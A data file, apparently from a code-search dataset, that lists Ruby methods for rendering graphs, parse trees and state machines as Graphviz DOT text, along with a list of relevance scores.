[ "def dot\n end", "def do_dot\n message = pop\n object = pop\n\n\t\t# defer error handling for now\n\t\tcase object[:type]\n when :integer\n m = message[:value]\n\t\t\t@integer_msgs[m].call( object )\n when :string\n # ditto :integer\n when :frame # user defined object\n\t\t\t@fstack.push( object )\n\t\t\t# evaluate message in context of frame\n\n\t\t\tquote = Quote.new\n\t\t\tcase message[:type]\n when :quote\n\t\t\t quote.tree = message\n\t\t\t self.dot( quote )\n when :symbol\n # usr re-write rule: frame symbol . --> frame [ symbol # ] .\n\t\t\t\tquote.tree = { \n\t\t\t\t type: :quote,\n\t\t\t\t value: [ message, { type: :eval, value: \"#\" } ]\n\t\t\t\t}\n\n\t\t\t self.dot( quote )\n end\n\n\t\t\t@fstack.pop\n else\n # error\n end\n end", "def dot\n RGL::DOT::Graph.new('elements' => dot_edges).to_s\n end", "def to_dot\n Dot::Digraph.new(:fontsize => 10, :shape => :box, :size => 5) do |g|\n parse_tree.to_dot(g)\n end.to_dot\n end", "def to_dot\n return unless gv_object\n gv_object.to_s\n end", "def to_dot\n i = 0\n dot = [\"digraph G {\", \"#{i} [label=\\\"self\\\"];\"]\n _to_dot(dot, \"\", i, self, i)\n dot << \"}\"\n dot.join(\"\\n\")\n end", "def to_dot(opts={})\n\n s = [ \"digraph \\\"process wfid #{wfid}\\\" {\" ]\n @expressions.each { |e| s.push(*e.send(:to_dot, opts)) }\n @errors.each { |e| s.push(*e.send(:to_dot, opts)) }\n s << '}'\n\n s.join(\"\\n\")\n end", "def dot\n print \".\"\n $stdout.flush\n end", "def Dottie(obj)\n Dottie[obj]\nend", "def dot\n s = \"digraph query {\\n\"\n @operators.each { |op| \n desc = op.attributes.inspect.gsub(\"\\\"\", \"\\\\\\\"\")\n label = \"[#{op.index}] #{op.name}\"\n if op.performanceData\n duration = (op.performanceData[\"endTime\"] - op.performanceData[\"startTime\"]).to_f\n label += \" (#{duration} ms)\"\n end\n s += \" #{op.index} [label=\\\"#{label}\\n #{desc}\\\", shape=box];\\n\"\n op.dependencies.each { |dep|\n s += \" #{dep.index} -> #{op.index};\\n\"\n }\n } \n s += \"}\\n\"\n end", "def dottify\n self.gsub(/[^[:print:]]/, \".\")\n end", "def dot(&block)\n ext(Rule.for(DOT), block)\n end", "def to_dot(**options) = convert_to('dot', **options)", "def to_dot (params={}) to_dot_graph(params).to_s; end", "def to_dot (params={}) to_dot_graph(params).to_s; end", "def dotify(h)\n h.use_dot_syntax = true; h.keys.each{|k| dotify(h[k]) if h[k].is_a?(::Hash)}\n end", "def visit_DotAccessorNode(o)\n if @memory_sensitive || @preserved_identifiers.include?(o.accessor)\n super\n else\n obf_str = JSObfu::Utils::transform_string(o.accessor, scope, :quotes => false)\n \"#{o.value.accept(self)}[(#{obf_str})]\"\n end\n end", "def dot_label x, opts = EMPTY_HASH\n @dot_label[[x, opts]] ||=\n case x\n when Cabar::Component\n # * name and version\n # * directory\n # * facets (optional)\n str = ''\n\n if show_component_name\n str << \"#{x.name}\"\n else\n str << \"#\"\n end\n\n if show_component_version\n str << \"/#{x.version}\" if opts[:version] != false\n end\n\n if show_component_directory\n dir = x.directory.to_s.sub(/^#{@current_directory}/, './')\n str << \"\\n#{dir}\"\n end\n\n if show_facet_names && opts[:show_facet_names] != false\n str << \"\\n\"\n # <- <<exported facet name>>\n x.provides.\n map{|f| f.key.to_s}.\n sort.\n each{|f| str << \"<- #{f}\\\\l\"}\n\n # <* <<plugin name>>\n x.plugins.\n map{|p| p.name}.\n sort.\n map{|p| p.sub(/\\/.*$/, '/*')}.\n uniq.\n each{|p| str << \"<* #{p}\\\\l\"}\n end\n # '\"' + str + '\"'\n str\n when Cabar::Facet::RequiredComponent\n # Use the version requirement.\n show_dependency_constraint ?\n (x._proto ? x.version.to_s : x.key.to_s) :\n EMPTY_STRING\n when Cabar::Facet\n # Use the facet name.\n x.key.to_s\n else\n x.to_s\n end\n end", "def show\n @dot = Dot.find(params[:id])\n end", "def dot_code(io)\n # puts \"drawing record\"\n props\n portinfos = get_port_nodes.map do |n|\n OpenStruct.new(name: n.node_name,\n label: MFactor::dot_escape(n.dot_label)+(n.symbol ? \"(#{n.symbol})\":\"\"))\n end\n label= '\"{{'\n label << (portinfos.map do |p|\n \"<#{p.name}> #{p.label}\"\n end.join(\" | \"))\n label << '}}\"'\n attrs={:label => label}\n attr_string=attrs.map do |k,v|\n \"#{k.to_s}=#{v}\"\n end.join(\", \")\n io << node_name << ' ' << '[' << attr_string << \"]\\n\"\n end", "def to_dot(*attrs, &block)\n d = \"#{'di' if @directed}graph G {\\n\"\n d << attrs.collect { |a| \" #{a};\\n\"}.join\n @nodes.each { |n| \n d << \" \\\"#{nid(n)}\\\" [#{nodeparams(n)}];\\n\"}\n @links.sort_by { |k,l| l.weight }.each { |k,l| d << l.to_dot(&block) }\n d << \"}\\n\"\n end", "def dependency_in_dot\n result = \"\"\n result << \"digraph recipes {\\n\"\n result << \" rankdir=LR;\\n\"\n result << _dependency_in_dot\n result << \"}\"\n\n result\n end", "def to_dot(options = {})\r\n Dot::Digraph.new(:fontsize => 10, :shape => :box, :size => 5) do |g|\r\n states.each do |state|\r\n g.node(state, :label => state.items.values.collect{|item| item.to_s(options)}.join(\"\\n\"))\r\n @transitions[state].each do |symbol, dest_state|\r\n g.edge(state, dest_state, :label => symbol.name)\r\n end\r\n end\r\n end.to_dot\r\n end", "def dot!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 44 )\n\n\n\n type = DOT\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 65:6: '.'\n match( 0x2e )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 44 )\n\n\n end", "def dot_name x, opts = EMPTY_HASH\n @dot_name[[ x, opts ]] ||=\n case x\n when Cabar::Component\n prefix = EMPTY_STRING\n if opts[:subgraph]\n opts[:version] = false\n prefix = \"cluster_\"\n end\n\n prefix +\n case opts[:version]\n when false\n \"c #{x.name}\"\n else\n \"c #{x.name} #{x.version}\"\n end\n when Cabar::Facet\n \"f #{x.key}\"\n else\n \"x #{x}\"\n end.\n # sub(/([a-z]+) (.*)/i){|| \"#{$1}_#{$2.hash}\"}.\n gsub(/[^a-z_0-9]/i, '_') \n end", "def inspect() \"~#{@obj.inspect}~\" ; end", "def lex_en_expr_dot; end", "def lex_en_expr_dot; end", "def lex_en_expr_dot; end", "def render(obj)\n # We can't use a case statement here becuase \"when Hash\" doesn't work for\n # ActiveSupport::OrderedHash - respond_to?(:values) is a more reliable\n # indicator of hash-like behavior.\n if NilClass === obj\n print(\"null\")\n \n elsif TrueClass === obj\n print(\"true\")\n \n elsif FalseClass === obj\n print(\"false\")\n \n elsif String === obj\n print(escape_json_string(obj))\n \n elsif Symbol === obj\n print(\"\\\"#{obj}\\\"\")\n \n elsif Numeric === obj\n print(obj.to_s)\n \n elsif Time === obj\n print(obj.to_s)\n \n elsif obj.respond_to?(:keys)\n print(\"{\")\n indent_out\n last_key = obj.keys.last\n obj.each do |(key, val)|\n render(key)\n case val\n when Hash, Array\n indent_out\n print(\":\\n#{indent}\")\n render(val)\n indent_in\n else\n print(\": \")\n render(val)\n end\n print(\",\\n#{indent}\") unless key == last_key\n end\n indent_in\n print(\"}\")\n \n elsif Array === obj\n print(\"[\")\n indent_out\n last_index = obj.size - 1\n obj.each_with_index do |elem, index|\n render(elem)\n print(\",\\n#{indent}\") unless index == last_index\n end\n indent_in\n print(\"]\")\n \n else\n raise \"unrenderable object: #{obj.inspect}\"\n end\n end", "def pp_object(obj)\n object_address_group(obj) {\n seplist(obj.pretty_print_instance_variables, lambda { text ',' }) {|v|\n breakable\n v = v.to_s if Symbol === v\n text v\n text '='\n group(1) {\n breakable ''\n pp(obj.instance_eval(v))\n }\n }\n }\n end", "def dotchart(*args)\n Dot.new(self, *args)\n end", "def dot v \n @x * v.x + @y * v.y + @z * v.z\n end", "def dot_label x\n @dot_label[x] ||=\n _dot_label x\n end", "def dot!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 44 )\n\n type = DOT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 369:7: '.'\n match( 0x2e )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 44 )\n\n end", "def dot!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 20 )\n\n type = DOT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 154:7: '.'\n match( 0x2e )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 20 )\n\n end", "def set_dot\n @dot = @map.dots.includes(:user, :map).find(params[:id])\n end", "def get_dot(start_state)\n if ((start_state).nil?)\n return nil\n end\n # The output DOT graph for visualization\n dot = nil\n @marked_states = HashSet.new\n if (start_state.is_a?(DFAState))\n dot = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/dfa\")\n dot.set_attribute(\"startState\", Utils.integer(start_state.attr_state_number))\n dot.set_attribute(\"useBox\", Boolean.value_of(Tool.attr_internal_option_show_nfaconfigs_in_dfa))\n walk_creating_dfadot(dot, start_state)\n else\n dot = self.attr_stlib.get_instance_of(\"org/antlr/tool/templates/dot/nfa\")\n dot.set_attribute(\"startState\", Utils.integer(start_state.attr_state_number))\n walk_rule_nfacreating_dot(dot, start_state)\n end\n dot.set_attribute(\"rankdir\", @rankdir)\n return dot.to_s\n end", "def _to_dot(dot, l, c, e, i)\n i += 1\n dot << \"#{c} -> #{i} [label=\\\"#{l}\\\"];\" if l\n c = i\n case e\n when LiteralString\n dot << \"#{i} [label=\\\"#{e.inspect.gsub('\"', '\\\\\"')}.lit\\\"];\"\n i\n when Symbol, Numeric, String, Class, TrueClass, FalseClass, NilClass\n dot << \"#{i} [label=\\\"#{e.inspect.gsub('\"', '\\\\\"')}\\\"];\"\n i\n when Array\n dot << \"#{i} [label=\\\"Array\\\"];\"\n e.each_with_index do |v, j|\n i = _to_dot(dot, j, c, v, i)\n end\n when Hash\n dot << \"#{i} [label=\\\"Hash\\\"];\"\n e.each do |k, v|\n i = _to_dot(dot, k, c, v, i)\n end\n when SQL::ComplexExpression \n dot << \"#{i} [label=\\\"ComplexExpression: #{e.op}\\\"];\"\n e.args.each_with_index do |v, j|\n i = _to_dot(dot, j, c, v, i)\n end\n when SQL::Identifier\n dot << \"#{i} [label=\\\"Identifier\\\"];\"\n i = _to_dot(dot, :value, c, e.value, i)\n when SQL::QualifiedIdentifier\n dot << \"#{i} [label=\\\"QualifiedIdentifier\\\"];\"\n i = _to_dot(dot, :table, c, e.table, i)\n i = _to_dot(dot, :column, c, e.column, i)\n when SQL::OrderedExpression\n dot << \"#{i} [label=\\\"OrderedExpression: #{e.descending ? :DESC : :ASC}#{\" NULLS #{e.nulls.to_s.upcase}\" if e.nulls}\\\"];\"\n i = _to_dot(dot, :expression, c, e.expression, i)\n when SQL::AliasedExpression\n dot << \"#{i} [label=\\\"AliasedExpression\\\"];\"\n i = _to_dot(dot, :expression, c, e.expression, i)\n i = _to_dot(dot, :alias, c, e.aliaz, i)\n when SQL::CaseExpression\n dot << \"#{i} [label=\\\"CaseExpression\\\"];\"\n i = _to_dot(dot, :expression, c, e.expression, i) if e.expression\n i = _to_dot(dot, :conditions, c, e.conditions, i)\n i = _to_dot(dot, :default, c, e.default, i)\n when SQL::Cast\n dot << \"#{i} [label=\\\"Cast\\\"];\"\n i = _to_dot(dot, :expr, c, e.expr, i)\n i = _to_dot(dot, :type, c, e.type, i)\n when SQL::Function\n dot << \"#{i} [label=\\\"Function: #{e.f}\\\"];\"\n e.args.each_with_index do |v, j|\n i = _to_dot(dot, j, c, v, i)\n end\n when SQL::Subscript \n dot << \"#{i} [label=\\\"Subscript: #{e.f}\\\"];\"\n i = _to_dot(dot, :f, c, e.f, i)\n i = _to_dot(dot, :sub, c, e.sub, i)\n when SQL::WindowFunction\n dot << \"#{i} [label=\\\"WindowFunction\\\"];\"\n i = _to_dot(dot, :function, c, e.function, i)\n i = _to_dot(dot, :window, c, e.window, i)\n when SQL::Window\n dot << \"#{i} [label=\\\"Window\\\"];\"\n i = _to_dot(dot, :opts, c, e.opts, i)\n when SQL::PlaceholderLiteralString\n str = e.str\n str = \"(#{str})\" if e.parens\n dot << \"#{i} [label=\\\"PlaceholderLiteralString: #{str.inspect.gsub('\"', '\\\\\"')}\\\"];\"\n i = _to_dot(dot, :args, c, e.args, i)\n when SQL::JoinClause\n str = \"#{e.join_type.to_s.upcase} JOIN\"\n if e.is_a?(SQL::JoinOnClause)\n str << \" ON\"\n elsif e.is_a?(SQL::JoinUsingClause)\n str << \" USING\"\n end\n dot << \"#{i} [label=\\\"#{str}\\\"];\"\n i = _to_dot(dot, :table, c, e.table, i)\n i = _to_dot(dot, :alias, c, e.table_alias, i) if e.table_alias\n if e.is_a?(SQL::JoinOnClause)\n i = _to_dot(dot, :on, c, e.on, i)\n elsif e.is_a?(SQL::JoinUsingClause)\n i = _to_dot(dot, :using, c, e.using, i)\n end\n when Dataset\n dot << \"#{i} [label=\\\"Dataset\\\"];\"\n TO_DOT_OPTIONS.each do |k|\n next unless e.opts[k]\n i = _to_dot(dot, k, c, e.opts[k], i)\n end\n else\n dot << \"#{i} [label=\\\"Unhandled: #{e.inspect.gsub('\"', \"''\")}\\\"];\"\n end\n i\n end", "def dot!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 55 )\n\n type = DOT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 176:7: '.'\n match( 0x2e )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 55 )\n\n end", "def slash_to_dot(path)\n dot = super\n dot.sub!(@useless,'')\n dot=dot[1..-1] if dot[0] == '.'\n dot\n end", "def do_dot s; a = mega_pop(s); String == a.class ? s[:output] << \"#{a.ord} \" : s[:output] << \"#{a} \" end", "def to_dot\n template = <<-eos\ndigraph \"<%= uid || 'graph' %>\" {\n node[ style = \"filled, solid\"];\n<% each_task do |task| -%>\n<% next unless task.name =~ dot_task_filter if dot_task_filter -%>\n<% next unless task.node.name =~ dot_node_filter if dot_node_filter and task.node -%>\n \"<%= task %>\" [label = \"<%= task %>\", fillcolor = \"<%= task.color %>\"];\n<% end -%>\n\n<% each_task do |task| -%>\n<% task.each_forward_dependency do |forward_task| -%>\n<% next unless task.name =~ dot_task_filter if dot_task_filter -%>\n<% next unless task.node.name =~ dot_node_filter if dot_node_filter and task.node -%>\n<% next unless forward_task.name =~ dot_task_filter if dot_task_filter -%>\n<% next unless forward_task.node.name =~ dot_node_filter if dot_node_filter and forward_task.node -%>\n \"<%= task %>\" -> \"<%= forward_task %>\";\n<% end -%>\n<% end -%>\n}\n eos\n ERB.new(template, nil, '-').result(binding)\n end", "def render\n # need to return the following like this\n # 1) font_size as font-size \n # 2) dot_size as dot-size\n # 3) outline_colour as outline-colour\n # 4) halo_size as halo-size\n # 5) start_angle as start-angle\n # 6) tick_height as tick-height\n # 7) grid_colour as grid-colour\n # 8) threed as 3d\n # 9) tick_length as tick-length\n # 10) visible_steps as visible-steps\n # 11) key_on_click as key-on-click\n returning self.to_json do |output|\n output.gsub!(\"threed\",\"3d\")\n output.gsub!(\"default_dot_style\",\"dot_style\")\n %w(solid_dot font_size dot_size outline_colour halo_size start_angle tick_height grid_colour tick_length no_labels label_colour gradient_fill fill_alpha on_click spoke_labels visible_steps key_on_click dot_style hollow_dot).each do |replace|\n output.gsub!(replace, replace.gsub(\"_\", \"-\"))\n end\n end\n end", "def dot( quote )\n\t\tquote.tree[:value].each { |e|\n case e[:type]\n when :binding\n do_binding\n when :bind_constant\n do_bind_constant\n when :eval\n do_eval\n when :bang\n\t\t\t\truby = pop[:value]\n\t\t\t\tself.bang( ruby )\n when :dot\n do_dot\n when :dup\n do_dup\n\t\t\twhen :symbol\n\t v = @fstack.get( e[:value] )\n\t\t\t\tif ( v.class == Hash ) and ( v[:type] == :constant ) then\n\t\t\t\t\tpush( v[:value] )\n\t\t\t\telse\n push( e )\n end\n else\n push( e )\n end\n\t\t}\n end", "def [](key)\n raise InvalidDot unless @@dots.keys.include? key.to_s\n dot = @@dots[key.to_s]\n dot.respond_to?(:call) ? dot.call : dot\n end", "def display_string(options, object, length = nil)\n \":#{object}\"\n end", "def to_text\n \"#{__getobj__.to_text} (OPTIONAL)\"\n end", "def dot(i); str(nil, i, '.'); end", "def to_dot_for_belongs_to(assoc)\n if assoc.options[:polymorphic]\n %(\n \"#{assoc.class_name}\" [shape = \"record\"]\n \"#{constant_name}\" -> \"#{assoc.class_name}\" [headlabel=\"*\", taillabel=\"1\"]\n )\n else\n ''\n end\n end", "def inspect\n\t\treturn \"#<%s:0x%x (%s): %s>\" % [\n\t\t\tself.class.name,\n\t\t\tself.object_id * 2,\n\t\t\tself.loaded? ?\n\t\t\t self.extensions.map( &:name ).join( ', ' ) :\n\t\t\t 'not yet loaded',\n\t\t\tself.dn\n\t\t]\n\tend", "def pprint(object)\n PP.pp(object)\nend", "def inspect\n vars = options.map { |k, v| \"@#{k}=#{v}\" }.join(\", \")\n \"#<#{self.class}:#{format('0x%014x', object_id)} #{vars}>\"\n end", "def inspect\n id = format('%x', object_id << 1)\n \"#<#{self.class.name}:0x#{id.rjust(14, '0')} 💻=“#{to_esc(true)}███#{CLEAR_TERM}” ✎=“\\\\e[#{to_esc(false)}m” 🗔=“#{to_html}”>\"\n end", "def dot v\n @x*v.x + @y*v.y\n end", "def to_dot( albero )\n from = albero[:number] ; # numero di partenza del rampo dell'albero\n albero[:divisors].each { |d|\n to = d[:number] ;\n # stanpo il ramo from --> to\n puts \"#{from} -> #{to};\"\n to_dot( d ) ;\n }\nend", "def pretty(object)\n PP.pp(object, out)\n end", "def echo obj\n str = obj.to_s\n write str\n end", "def outputDot(podhash)\n # Random set of 16 colors ...\n colors = [0xFF00FF,0x9900FF,0x99CCFF,0x00CC99,\n 0x0000FF,0xFFCC00,0xFF9900,0xFF0000,\n 0xCC00CC,0x6666FF,0xFF99FF,0x6699FF,\n 0x993399,0xFFCCFF,0x6600FF,0xCC00FF,\n 0x00FF00,0xFF0033,0xFF0033,0xCCCCCC];\n\n puts \"digraph PodDeps {\"\n puts \"\\tsize=\\\"8,6\\\";\"\n puts \"\\tnode[fontsize=10];\"\n\n count = 0\n podhash.each do |k,v|\n # Only color if there are more than 2 edges from this node.\n if v.deps.length > 2\n colorstring = sprintf(\"\\\"\\#%06x\\\"\",colors[count%16])\n puts \"\\tedge [color=#{colorstring}];\"\n count = count + 1\n else\n colorstring = sprintf(\"\\\"\\#000000\\\"\")\n puts \"\\tedge [color=black];\"\n end\n v.deps.each do |d|\n puts \"\\t\\\"#{k} #{v.version}\\\" -> \\\"#{d.name} #{d.version}\\\";\"\n end\n puts \"\\t\\\"#{k} #{v.version}\\\" [color=#{colorstring}];\";\n end\n puts \"}\"\nend", "def lex_en_expr_dot=(_arg0); end", "def lex_en_expr_dot=(_arg0); end", "def lex_en_expr_dot=(_arg0); end", "def inspect\n return 'nil' if @obj.nil?\n\n \"#<#{self.class.name}:#{fullName}>\"\n end", "def inspect\n return 'nil' if @obj.nil?\n\n \"#<#{self.class.name}:#{@obj.getName}>\"\n end", "def rubyversed (obj); @template.rubyversed(obj); end", "def println obj\n echo(obj.to_s + \"\\n\")\n end", "def display_object\n\tputs \"Name: #{name}\"\n\tpretty_price = format(\"%0.2f\", price)\n\tputs \"Price: $#{pretty_price}\"\n\tputs \"Size: #{size}\"\n end", "def awesome(object)\n if Thread.current[AD].include?(object.object_id)\n nested(object)\n else\n begin\n Thread.current[AD] << object.object_id\n return eval(%<@formatter.#{declassify(object)}(object)>)\n ensure\n Thread.current[AD].pop\n end\n end\n end", "def output object\n STDOUT.puts \"#{object}\"\n end", "def print o\n case o\n when \".\" then\n io.print pride o\n when \"E\", \"F\" then\n io.print \"#{ESC}41m#{ESC}37m#{o}#{NND}\"\n when \"S\" then\n io.print pride o\n else\n io.print o\n end\n end", "def dependency_graph_dot\n # Importing this here as Chef may not have installed the Gem\n require 'graphviz'\n ::GraphViz.new(:G, type: :digraph) do |g|\n dependency_graph.each do |fragment, dependencies|\n g.add_nodes(fragment)\n\n dependencies.each do |dep|\n g.add_nodes(dep)\n g.add_edges(fragment, dep)\n end\n end\n end.output(dot: String)\n end", "def render(obj = Object.new, locals = {})\n output = template.result(obj.instance_eval { binding })\n (view == 'document' || view == 'embedded') ? output.gsub(BLANK_LINES_PATTERN, '').gsub(LINE_FEED_ENTITY, \"\\n\") : output\n end", "def dprint(obj)\n self.log_puts(Php4r.print_r(obj, true))\n end", "def h obj; obj.to_s.html_escape end", "def inspect\n att_info = []\n inspect_attributes.each do |att|\n next unless respond_to? att\n\n att_info << \"#{att}=#{send(att).inspect}\"\n end\n att_info << '..'\n \"\\#<#{self.class}:#{object_id} #{att_info.join(', ')}>\"\n end", "def to_dot(opts)\n\n i = fei()\n\n label = \"#{[ i.wfid, i.subid, i.expid].join(' ')} #{tree.first}\"\n label += \" (#{h.state})\" if h.state\n\n a = []\n a << \"\\\"#{i.to_storage_id}\\\" [ label=\\\"#{label}\\\" ];\"\n\n # parent\n\n if h.parent_id\n a << \"\\\"#{i.to_storage_id}\\\" -> \\\"#{parent_id.to_storage_id}\\\";\"\n end\n\n # children\n\n h.children.each do |cfei|\n a << \"\\\"#{i.to_storage_id}\\\" -> \\\"#{Ruote.to_storage_id(cfei)}\\\";\"\n end\n\n a\n end", "def dot_homework(a, b)\n begin\n puts \"#{a.val}・#{b.val} = #{dot(a, b).val}\"\n rescue InvalidCombError\n puts \"#{a.val}・#{b.val} -> 定義されない\"\n end\nend", "def to_dot(graph)\n graph.node(self, :label => token)\n end", "def to_call_dot(filename)\n basename = File.basename(filename, \".dot\")\n basename=basename+\".ps\"\n \n dot_command1=\"dot -Tps \"+(filename)+ \" -o \"+basename\n system(dot_command1)\n end", "def dot(v)\n @x * v.x + @y * v.y\n end", "def to_dot(*attrs)\n s = \" \\\"#{nid(@src)}\\\" #{edgesymbol} \\\"#{nid(@dest)}\\\" \"\n s << \"[#{@attrs.join(',')}]\" unless @attrs.empty?\n s << \"[#{attrs.join(',')}]\" unless attrs.empty?\n if block_given?\n wl = yield(@weight)\n s << '[' << case wl\n when String, Symbol\n \"label=\\\"#{wl.tr('\"',\"'\")}\\\"\"\n when Enumerable\n wl.join(', ')\n end << ']'\n else\n s << weightlabel(@weight) if linkcount\n end\n s << \";\\n\"\n s\n end", "def extend_and_draw(collection)\n collection.map do |member|\n case member\n when ::Xumlidot::Types::MethodSignature\n member.extend(::Xumlidot::Diagram::Xmi::MethodSignature)\n when ::Xumlidot::Types::Attribute\n member.extend(::Xumlidot::Diagram::Xmi::Attribute)\n end\n member.draw\n end.join(' ')\n end", "def lex_en_leading_dot=(_arg0); end", "def lex_en_leading_dot=(_arg0); end", "def lex_en_leading_dot=(_arg0); end", "def dot_formatted_node_header\n \"#{'\\\\<\\\\< module \\\\>\\\\>\\\\l' if constant_is_module?}#{detached_constant_name}\"\nend", "def inspect #:nodoc:\n \"#<%s:0x%s '%s'>\" % [self.class, object_id, path]\n end", "def object_nl()\n #This is a stub, used for indexing\n end", "def drawArrow _obj, _args\n \"_obj drawArrow _args;\" \n end", "def to_dot graph\n graph.node(self, :label => production)\n child_nodes.each do |child|\n graph.edge(self, child)\n child.to_dot(graph)\n end\n end", "def pp(obj)\n # If obj is a Delegator then use the object being delegated to for cycle\n # detection\n obj = obj.__getobj__ if defined?(::Delegator) and obj.is_a?(::Delegator)\n\n if check_inspect_key(obj)\n group {obj.pretty_print_cycle self}\n return\n end\n\n begin\n push_inspect_key(obj)\n group {obj.pretty_print self}\n ensure\n pop_inspect_key(obj) unless PP.sharing_detection\n end\n end", "def dot(other)\n self * other\n end", "def pp(obj)\n id = obj.object_id\n\n if check_inspect_key(id)\n group {obj.pretty_print_cycle self}\n return\n end\n\n begin\n push_inspect_key(id)\n group {obj.pretty_print self}\n ensure\n pop_inspect_key(id) unless PP.sharing_detection\n end\n end", "def awesome_self(object, type)\n if @options[:raw] && object.instance_variables.any?\n awesome_object(object)\n else\n colorize(object.inspect.to_s, type)\n end\n end", "def lex_en_leading_dot; end", "def lex_en_leading_dot; end", "def lex_en_leading_dot; end", "def to_dot_label(binding_)\n template_path = File.expand_path(\"callback.dothtml.erb\", __dir__)\n erb = ERB.new(File.read(template_path))\n erb.filename = template_path\n erb.result(binding)\n end", "def dotty (params = {}, dotfile = 'graph.dot')\n File.open(dotfile, 'w') {|f| f << to_dot(params) }\n system('dotty', dotfile)\n end", "def dotty (params = {}, dotfile = 'graph.dot')\n File.open(dotfile, 'w') {|f| f << to_dot(params) }\n system('dotty', dotfile)\n end", "def dot(io)\n log \"drawing graph \"\n io << <<END\ndigraph test_definition {\ngraph [ rankdir=TB ]\nnode [shape=record,fontname=helvetica]\nedge [fontname=helvetica, arrowsize=0.5]\nEND\n # nodes,transitions = collect_nodes\n # transitions.to_a.flatten.to_set.each do |n|\n @nodes.each do |n|\n next if n.record # if we are a port, skip, record handles drawing\n if n.is_record? # if we are a record, call specialized function\n n.dot_code(io)\n else\n label_sym = (n.is_a?(JoinNode) ? :xlabel : :label)\n attrs={label_sym => '\"'+n.dot_label+'\"'}\n # if n.symbol\n # attrs[:xlabel]=n.symbol\n # end\n if n.respond_to? :dot_node_shape\n attrs[:shape]='\"'+n.dot_node_shape+'\"'\n end\n attr_string=attrs.map do |k,v|\n \"#{k.to_s}=#{v}\"\n end.join(\", \")\n io.puts \"#{n.node_name} [#{attr_string}]\"\n end\n end\n @control_edges.each do |s,d,label|\n log \"adding control edge: [#{s},#{d},#{label}]\"\n attrs={color:\"red\",fontcolor:\"red\"}\n attrs[:label] = '\"'+label.to_s+'\"' if label\n draw_transition(s,d,io,attrs)\n end\n @data_edges.each do |s,d|\n log \"adding data edge\"\n draw_transition(s,d,io,{color: \"green\"})\n end\n io.puts \"}\"\n self\n end" ]
[ "0.68863046", "0.68085873", "0.64318633", "0.63968164", "0.6376793", "0.6350934", "0.6165895", "0.6122331", "0.6103763", "0.6096252", "0.6081692", "0.60542107", "0.60432225", "0.59109175", "0.59109175", "0.5891754", "0.57279897", "0.57066077", "0.56896585", "0.56192935", "0.55860305", "0.55669314", "0.5518534", "0.55170256", "0.55127734", "0.5499553", "0.5491395", "0.5491395", "0.5491395", "0.54666847", "0.54589343", "0.5431191", "0.5419195", "0.5411226", "0.5399865", "0.5388308", "0.5386629", "0.5380584", "0.5371925", "0.5371656", "0.5323057", "0.5318515", "0.53167725", "0.5311009", "0.5299881", "0.5290647", "0.52755296", "0.52516687", "0.52514076", "0.52317077", "0.52198535", "0.5217979", "0.52079046", "0.5200807", "0.5190791", "0.51584107", "0.5157409", "0.51532066", "0.5149127", "0.5139348", "0.5139348", "0.5139348", "0.5118267", "0.50981206", "0.50932384", "0.50908506", "0.5082647", "0.5068021", "0.50457954", "0.50183105", "0.49877208", "0.4985603", "0.49820086", "0.49783438", "0.49638093", "0.49603668", "0.49564716", "0.4943304", "0.49387246", "0.4934165", "0.49323207", "0.49260348", "0.4923171", "0.4923171", "0.4923171", "0.49222434", "0.49221218", "0.49214235", "0.491996", "0.49026722", "0.49006084", "0.48924488", "0.48903033", "0.48896617", "0.48895302", "0.48895302", "0.48895302", "0.48756215", "0.4859378", "0.4859378", "0.48576528" ]
0.0
-1
Renders the StateMachine as Dot syntax.
def render_StateMachine sm, dot_opts = nil return if @rendered[sm] @rendered[sm] = true dot_opts ||= { } hide_decomposition = dot_opts.delete(:hide_decomposition) stream.puts "\n// {#{sm.inspect}" name = dot_opts.delete(:_node_name) || dot_name(sm) type = "subgraph #{name}" dot_opts[:label] ||= dot_label(sm.superstate) dot_opts[:shape] = :box dot_opts[:style] = 'filled,rounded' dot_opts[:fillcolor] ||= :white dot_opts[:fontcolor] ||= :black dot_opts = dot_opts_for sm, dot_opts if hide_decomposition && false dot_opts[:label] += "\\r o-o" end stream.puts "#{type} {" stream.puts %Q{ #{render_opts(dot_opts, ";\n ")}} yield if block_given? unless hide_decomposition start_name = dot_name(sm, :start) @rendered[start_name] = true stream.puts "\n// Implicit :start Pseudostate" stream.puts %Q{ node [ shape="circle", label="", style=filled, fillcolor=black ] #{start_name}; } sm.states.each { | s | render(s) } end stream.puts "}" stream.puts "// } #{sm.inspect}\n" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def to_dot(options = {})\r\n Dot::Digraph.new(:fontsize => 10, :shape => :box, :size => 5) do |g|\r\n states.each do |state|\r\n g.node(state, :label => state.items.values.collect{|item| item.to_s(options)}.join(\"\\n\"))\r\n @transitions[state].each do |symbol, dest_state|\r\n g.edge(state, dest_state, :label => symbol.name)\r\n end\r\n end\r\n end.to_dot\r\n end", "def dot\n end", "def render_State s\n return if @rendered[s]\n @rendered[s] = true\n\n stream.puts \"\\n// #{s.inspect}\"\n \n sequence = [ ]\n \n if options[:history]\n options[:history].each_with_index do | hist, i |\n if hist[:new_state] && s.is_a_superstate_of?(hist[:new_state])\n sequence << i + 1\n end\n end\n end\n\n dot_opts = {\n :label => dot_label(s),\n :shape => :box,\n :style => \"filled\",\n }\n\n case\n when s.end_state?\n dot_opts[:label] = \"\" # DONT BOTH LABELING END STATES.\n dot_opts[:shape] = :doublecircle\n end\n\n dot_opts = dot_opts_for s, 